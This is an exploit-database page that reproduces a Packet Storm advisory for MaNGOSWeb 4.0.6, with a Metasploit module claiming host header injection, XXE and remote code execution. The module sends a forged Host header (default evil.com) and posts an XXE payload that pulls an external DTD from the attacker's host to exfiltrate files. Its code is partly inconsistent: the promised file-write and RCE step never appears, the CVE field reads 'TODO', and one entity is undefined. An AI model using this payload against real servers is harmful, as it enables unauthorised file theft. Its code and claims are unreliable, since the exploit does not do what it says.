Lucene search
K

📄 MaNGOSWeb 4.0.6 Host Header Injection / XML Injection

🗓️ 27 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 132 Views

MaNGOSWeb v4 RSS has host header injection, XXE, and file write leading to remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-6478
4 Dec 202521:02
circl
CVE
CVE-2017-6478
5 Mar 201720:00
cve
Cvelist
CVE-2017-6478
5 Mar 201720:00
cvelist
Exploit DB
MaNGOSWebV4 4.0.6 - Reflected XSS
3 Dec 202500:00
exploitdb
EUVD
EUVD-2017-15535
7 Oct 202500:30
euvd
Nuclei
MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting
23 Jun 202605:08
nuclei
NVD
CVE-2017-6478
5 Mar 201720:59
nvd
OSV
CVE-2017-6478
5 Mar 201720:59
osv
Packet Storm
📄 MaNGOSWebV4 4.0.6 Cross Site Scripting
4 Dec 202500:00
packetstorm
Packet Storm
📄 MaNGOSWeb 4.0.6 SQL Injection
29 Jan 202600:00
packetstorm
Rows per page
=============================================================================================================================================
    | # Title     : MaNGOSWeb V4 4.0.6 Host Header Injection + XXE                                                                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/paintballrefjosh/MaNGOSWebV4/blob/master/rss.php                                                         |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212429/ &	CVE-2017-6478
    
    [+] Summary : This module exploits multiple vulnerabilities in MangosWeb v4 RSS generator, including Host Header Injection, XXE, and file write leading to RCE
    
    [+]  POC : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'MangosWeb v4 RSS Multiple Vulnerabilities',
          'Description'    => %q{
            This module exploits multiple vulnerabilities in MangosWeb v4 RSS generator,
            including Host Header Injection, XXE, and file write leading to RCE.
          },
          'Author'         => [ 'indoushkq' ],
          'License'        => MSF_LICENSE,
          'References'     => [
            [ 'CVE', 'TODO' ],
            [ 'URL', 'http://mistvale.com' ]
          ],
          'Privileged'     => false,
          'Platform'       => 'php',
          'Arch'           => ARCH_PHP,
          'Targets'        => [ ['Automatic', {}] ],
          'DefaultTarget'  => 0,
          'DisclosureDate' => '2024-01-01'
        ))
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to MangosWeb', '/']),
          OptString.new('HOSTHEADER', [false, 'Malicious host header', 'evil.com'])
        ])
      end
    
      def check
        uri = normalize_uri(target_uri.path, 'rss.php')
        res = send_request_cgi({'uri' => uri})
    
        if res && res.code == 200 && res.body.include?('<rss')
          return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Safe
      end
    
      def exploit
        # Step 1: Host Header Injection to poison RSS
        print_status("Injecting malicious host header...")
        uri = normalize_uri(target_uri.path, 'rss.php')
        
        res = send_request_cgi({
          'uri'     => uri,
          'headers' => {'Host' => datastore['HOSTHEADER']}
        })
    
        # Step 2: XXE to read files
        print_status("Attempting XXE...")
        xxe_payload = %Q|<?xml version="1.0"?>
        <!DOCTYPE rss [
        <!ENTITY % remote SYSTEM "http://#{datastore['LHOST']}:#{datastore['LPORT']}/evil.dtd">
        %remote;
        %param;
        %exfil;
        ]>|
    
        # Step 3: Execute payload
        print_status("Sending payload...")
        send_request_cgi({
          'method' => 'POST',
          'uri'    => normalize_uri(target_uri.path, 'index.php'),
          'vars_post' => {
            'title' => 'Exploit',
            'message' => xxe_payload,
            'posted_by' => Rex::Text.rand_text_alpha(10)
          }
        })
    
        handler
      end
    end
    	
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jan 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 24.3
CVSS 3.16.1
EPSS0.02574
132